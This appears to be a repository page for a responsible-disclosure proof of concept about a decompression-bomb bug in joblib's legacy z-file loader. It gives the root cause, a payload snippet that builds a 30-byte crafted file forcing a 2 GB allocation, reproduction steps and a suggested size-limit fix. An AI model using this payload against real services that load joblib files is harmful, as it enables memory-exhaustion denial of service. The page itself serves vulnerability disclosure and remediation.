You can deploy this model and start earning money today!

MBM7/
joblib-zfile-decompression-bomb-poc

Name: joblib-zfile-decompression-bomb-poc
Availability: InStock

Views

No views yet

joblib — Z-File Header Length Decompression Bomb (PoC)

Repo: MBM7/joblib-zfile-decompression-bomb-poc
Status: Responsible disclosure — submitted to Huntr
Severity: High / CWE-789
Package: joblib (PyPI) — Finding #2, distinct from NumpyArrayWrapper Shape Bomb

Summary

A 30-byte crafted file causes joblib.load() to allocate 2 GB before failing — the highest amplification ratio of any joblib finding.

File size	Claimed length in header	Peak allocation	Amplification
30 bytes	500,000,000	500 MB	1 : 16,666,666
30 bytes	2,000,000,000	2,000 MB	1 : 66,666,666

Root Cause

joblib/numpy_pickle_compat.py, read_zfile():

python

length = file_handle.read(header_length)
length = length[len(_ZFILE_PREFIX):]
length = int(length, 16)                          # ← from file header, NO check

data = zlib.decompress(file_handle.read(), 15, length)  # ← bufsize = 2 GB
assert len(data) == length                        # fails AFTER the allocation

length is read from the ZF prefix + hex string header with no upper bound check. zlib.decompress(data, wbits, bufsize) pre-allocates bufsize bytes before decompression. With length = 2_000_000_000, Python allocates 2 GB before discovering the actual data is 11 bytes.

Attack

The z-file format is:

b'ZF' + hex(length).ljust(19) + zlib_compressed_data

joblib.load() detects the ZF magic and routes the file through numpy_pickle_compat.read_zfile(), which triggers the allocation.

python

payload = (
    b'ZF' +
    b'0x77359400          ' +   # hex(2_000_000_000) padded to 19 chars
    zlib.compress(b'x', 1)      # 11 bytes of valid zlib data
)
# Total: 30 bytes

Reproduce

bash

pip install joblib
python poc_joblib_zfile_bomb.py

Expected:

File size     : 30 bytes
Amplification : 1:66,666,666
Peak memory   : 2000 MB  ← alloc before decompression

Distinction from Finding #1 (NumpyArrayWrapper Shape Bomb)

	Finding #1	Finding #2
File size	232 bytes	30 bytes
Amplification	1:8,620,689	1:66,666,666
Code path	`numpy_pickle.py`	`numpy_pickle_compat.py`
Mechanism	`np.empty(count)` from pickle shape	`zlib.decompress(..., bufsize)`
Format	Current joblib pickle	Legacy z-file format

Suggested Fix

python

MAX_ZFILE_BYTES = 512 * 1024 * 1024  # configurable
if length > MAX_ZFILE_BYTES:
    raise ValueError(
        f"Z-file header claims {length} decompressed bytes — "
        "exceeds safety limit. Possible decompression bomb."
    )

Environment

Package	Version
joblib	1.5.3
Python	3.12